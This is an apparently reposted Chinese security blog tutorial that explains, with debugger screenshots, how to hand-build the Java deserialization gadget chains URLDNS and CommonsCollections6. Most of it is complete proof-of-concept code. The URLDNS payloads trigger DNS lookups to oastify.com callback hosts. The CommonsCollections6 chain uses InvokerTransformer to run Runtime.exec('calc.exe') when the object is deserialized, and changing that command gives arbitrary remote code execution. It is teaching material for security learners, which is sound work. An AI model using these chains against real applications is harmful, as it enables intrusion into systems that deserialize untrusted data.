入坑Java安全之从0到1手写CommonsCollections6链

admin 2025年2月15日23:20:32评论1 views字数 7492阅读24分58秒阅读模式

声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!

0x00 前言

上一篇文章记录了一下CC1是怎么出来的,LazyMap版本相较于TransformedMap版本确实是绕了许多,最关键的是在jdk8u71之后官方修复了这条链,所以这篇文章带来一条理解起来相对简单且通用的链——CommonsCollections6

环境:

  • jdk8u181

  • Tomcat 9

  • commons-collections-3.2.1

0x01 URLDNS链

在分析CC6之前,不得不提一嘴URLDNS,因为CC6最终的调用方式跟它是有异曲同工之妙的(正好我之前的文章也没有写这条链),如果你熟悉这条链,可以直接跳过这一部分

先来看看yso的Gadget Chains

HashMap.readObject()  HashMap.putVal()    HashMap.hash()      URL.hashCode()

原理就是java.util.HashMap重写了readObject(),在反序列化时会调用hash()计算key的hashCode,而java.net.URL的hashCode()在计算时会调用getHostAddress()来解析域名,从而发出 DNS 请求

我这里写了一个非常简短的Demo,先来调一下

package Ser;import java.net.URL;import java.util.HashMap;public class UrlDNSdemo {    public static void main(String[] args) throws Exception {         new HashMap<>().put(new URL("https://v958h2oticngftfnomdfnsyis9yzmo.oastify.com"), "key");    }}

首先来到HashMap.put(),可以看到里边调用了putVal(),并且将我们的key作为参数传入了hash()

入坑Java安全之从0到1手写CommonsCollections6链

这里我们跟入hash()就行,可以看到这里调用了key的hashCode(),而key就是我们一开始传入的URL对象

入坑Java安全之从0到1手写CommonsCollections6链

如果此时的hashcode不等于-1,它会直接返回,这个点也是CC6里要注意的一个点,我们后边说。否则就用handler调用hashCode(),这里的handler是一个URLStreamHandler对象,

所以就会调用它自己的hashCode()

入坑Java安全之从0到1手写CommonsCollections6链

最终在这里调用getHostAdderss()

入坑Java安全之从0到1手写CommonsCollections6链

触发DNS请求

入坑Java安全之从0到1手写CommonsCollections6链


我们改写一下Poc,让它成为一个可以被反序列化调用HashMap#readObject()的版本,这里的Utile包是我自己创建的,为了不过多的占用文章篇幅,我把之前文章中的serialize与unserialize进行了封装

package Ser;import Util.*;import java.net.URL;import java.util.HashMap;public class UrlDNSdemo {    public static void main(String[] args) throws Exception {        HashMap<Object, Object> hashMap = new HashMap<>();        hashMap.put(new URL("https://aa.468u0dzd0fc2h0b258haljmvemkc81.oastify.com"), "key");        new toSerialize(hashMap);        new toUnSerialize("poc.ser");    }}

我们开始调试,一上来就把请求发出去了,都没等咱们开始真正的表演

入坑Java安全之从0到1手写CommonsCollections6链

按照之前的路线往下跟,可以发现hashcode早就计算完毕了,链子并没有真正的串起来

入坑Java安全之从0到1手写CommonsCollections6链

原因也非常简单,就是因为我们先调用了hashMap.put(),就跟一开始的Demo一样,请求在那时候就已经发出了

入坑Java安全之从0到1手写CommonsCollections6链

所以这时候我们要解决两个问题:

  • HashMap.put()时别让它触发DNS解析

  • URL的hashcode属性值每次都为-1

之前我们说过,handler是一个URLStreamHandler对象,且我们最终调用的也是它下边的getHostAddress(),所以我们重写它,并重写getHostAddress(),在new URL时指定handler为自己(当前类),那么在put时就完成了Hook

可能不太好理解,先来个Demo调一下

package Ser;import Util.*;import java.io.IOException;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;public class UrlDNSdemo {    static class Hook extends URLStreamHandler {        protected URLConnection openConnection(URL u) throws IOException {            return null;        }        protected synchronized InetAddress getHostAddress(URL u) {            return null;        }    }    public static void main(String[] args) throws Exception {        HashMap<Object, Object> hashMap = new HashMap<>();        URLStreamHandler handler = new Hook();        URL url = new URL(null,"https://tpmjj2i2j4vr0purox0z485kxb35ru.oastify.com",handler);        hashMap.put(url, "key");        new toSerialize(hashMap);        new toUnSerialize("poc.ser");    }}

这里我们直接将断点打在URL类下赋值handler的操作

入坑Java安全之从0到1手写CommonsCollections6链

调试demo,我们发现,在调用put()之前,我们通过URL的构造方法将handler修改为了我们自己重写的Hook类

入坑Java安全之从0到1手写CommonsCollections6链

那么继续往下走,因为是第一次请求,所以hashcode为-1

入坑Java安全之从0到1手写CommonsCollections6链

来到getHostAddress(),注意此时的this,是我们的Hook类

入坑Java安全之从0到1手写CommonsCollections6链

所以就顺理成章的被我们劫持了,DNS请求自然也不会发起

入坑Java安全之从0到1手写CommonsCollections6链

而到了readObject()的时候,程序会通过反射去加载URL的构造方法

入坑Java安全之从0到1手写CommonsCollections6链

进而将handler重新赋值为Handler对象

入坑Java安全之从0到1手写CommonsCollections6链

这时候聪明的你可能会问,我不是重写了URLStreamHandler类么?为什么这里handler没有变成上文中的Hook()类?原因其实很简单,没有实现Serialize接口的类是无法被序列化的挖这条链的师傅在这里也是卡了个bug,很巧妙

入坑Java安全之从0到1手写CommonsCollections6链


剩下的hashcode属性值的问题,我们使用反射即可轻松解决,这个应该没什么好说的

Field hashCode = URL.class.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,-1);

这一套下来,其实URLDNS链也并没有网传的那么“简单”吧,其实也就是Hook那段不容易理解,挖掘者可能是为了炫技吧,这个操作其实是非必要的。最终Poc:

package Ser;import Util.*;import java.io.IOException;import java.lang.reflect.Field;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;public class UrlDNS {    // 重写URLStreamHandler, 便于后续的Hook    static class Hook extends URLStreamHandler {        protected URLConnection openConnection(URL u) throws IOException {            return null;        }        protected synchronized InetAddress getHostAddress(URL u) {            return null;        }    }    public static void main(String[] args) throws Exception {        // 第一步 : Hook getHostAddress()        URLStreamHandler handler = new Hook();        URL url = new URL(null,"https://vfel948496ltqrktezq1uavmndt9hy.oastify.com",handler);        HashMap<Object, Object> hashMap = new HashMap<>();        hashMap.put(url, "key");        // 第二步 : 反射修改 hashcode 属性值        Field hashCode = URL.class.getDeclaredField("hashCode");        hashCode.setAccessible(true);        hashCode.set(url,-1);        // 第三步 : 序列化与反序列化        new toSerialize(hashMap);        new toUnSerialize("poc.ser");    }}

既不会多请求,也不会少请求

入坑Java安全之从0到1手写CommonsCollections6链

0x02 CommonsCollections6(CC1的增强版)

上文URLDNS链的关键就在于HashMap#readObject->hash()->hashCode(),那么如果有一个类的hashCode()动态调用了get(),那么我们就可以衔接上之前的CC1链进行反序列化,并且对于jdk版本的适应性也更强。TiedMapEntry#hashCode()就非常符合上述条件,我们看一下它的具体内容

进入hashCode()后,先调用了getValue()

入坑Java安全之从0到1手写CommonsCollections6链

在getValue()中通过map属性动态调用hashCode()

入坑Java安全之从0到1手写CommonsCollections6链

而map属性来自它自身的构造方法

入坑Java安全之从0到1手写CommonsCollections6链

所以,我们只需要new一个TiedMapEntry,将LazyMap放置在构造方法的第一个参数,最后将TiedMapEntry作为HashMap#put的第一个参数,理论上就可以进行反序列化,我们来一个Demo

package Ser;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import Util.*;import java.util.*;public class CC6{    public static void main(String[] args) throws Exception{        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",new Class[0]}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})        });        Map lazyMap=  LazyMap.decorate(new HashMap(), chainedTransformer);        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);        HashMap<Object, Object> hashMap = new HashMap<>();        hashMap.put(tiedMapEntry,1);        new toSerialize(hashMap);        new toUnSerialize("poc.ser");    }}


这里遇到了URLDNS链同样的问题,在put的时候就触发了RCE,我可不想打别人的时候顺手打一下自己

入坑Java安全之从0到1手写CommonsCollections6链

所以这里的解决方案跟URLDNS类似,通过反射去修改LazyMap的第而个参数factory,LazyMap.decorate()时先不传chainedTransformer,给一个没用的NOPTransformer,然后用反射机制将LazyMap传入

Map lazyMap=  LazyMap.decorate(new HashMap(), NOPTransformer.getInstance());...Field factory = LazyMap.class.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazyMap,chainedTransformer);

此时可以正常进入到readObject后,却无法进行RCE,原因是因为我们的Key已经存在于LazyMap中

入坑Java安全之从0到1手写CommonsCollections6链

所以我们需要将key remove掉,这里又很像URLDNS的-1问题,只不过解决起来更佳简单

lazyMap.remove(1);

最终Poc:

package Ser;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import Util.*;import java.lang.reflect.Field;import java.util.*;public class CC6Demo{    public static void main(String[] args) throws Exception{        // 构造 chainedTransformer 调用链, 解决 Runtime 的序列化问题        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",new Class[0]}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})        });        // 实例化 LazyMap, 给一个没用的 NOPTransformer 是为了别在put时触发RCE        Map lazyMap=  LazyMap.decorate(new HashMap(), NOPTransformer.getInstance());        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);        // 将构造好的 tiedMapEntry 放到key上, 便于触发 key.hashCode()        HashMap<Object, Object> hashMap = new HashMap<>();        hashMap.put(tiedMapEntry,1);        // 反射修改真正的 factory        Field factory = LazyMap.class.getDeclaredField("factory");        factory.setAccessible(true);        factory.set(lazyMap,chainedTransformer);        // 移除 key 为了能够触发 if条件 中的 factory.transform(key)        lazyMap.remove(1);        // 序列化与反序列化        new toSerialize(hashMap);        new toUnSerialize("poc.ser");    }}

成功反序列化进行RCE

入坑Java安全之从0到1手写CommonsCollections6链

0x03 小结

URLDNS链在jdk7中并不是调用HashMap#hash(),而是putForCreate()->hash(),多了一步而已,还有就是为什么说CC6是增强版CC1,因为它依赖的是HashMap,这就使得它更加通用

入坑Java安全之从0到1手写CommonsCollections6链

原文始发于微信公众号(安全日记):入坑Java安全之从0到1手写CommonsCollections6链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:20:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   入坑Java安全之从0到1手写CommonsCollections6链http://cn-sec.com/archives/1023221.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息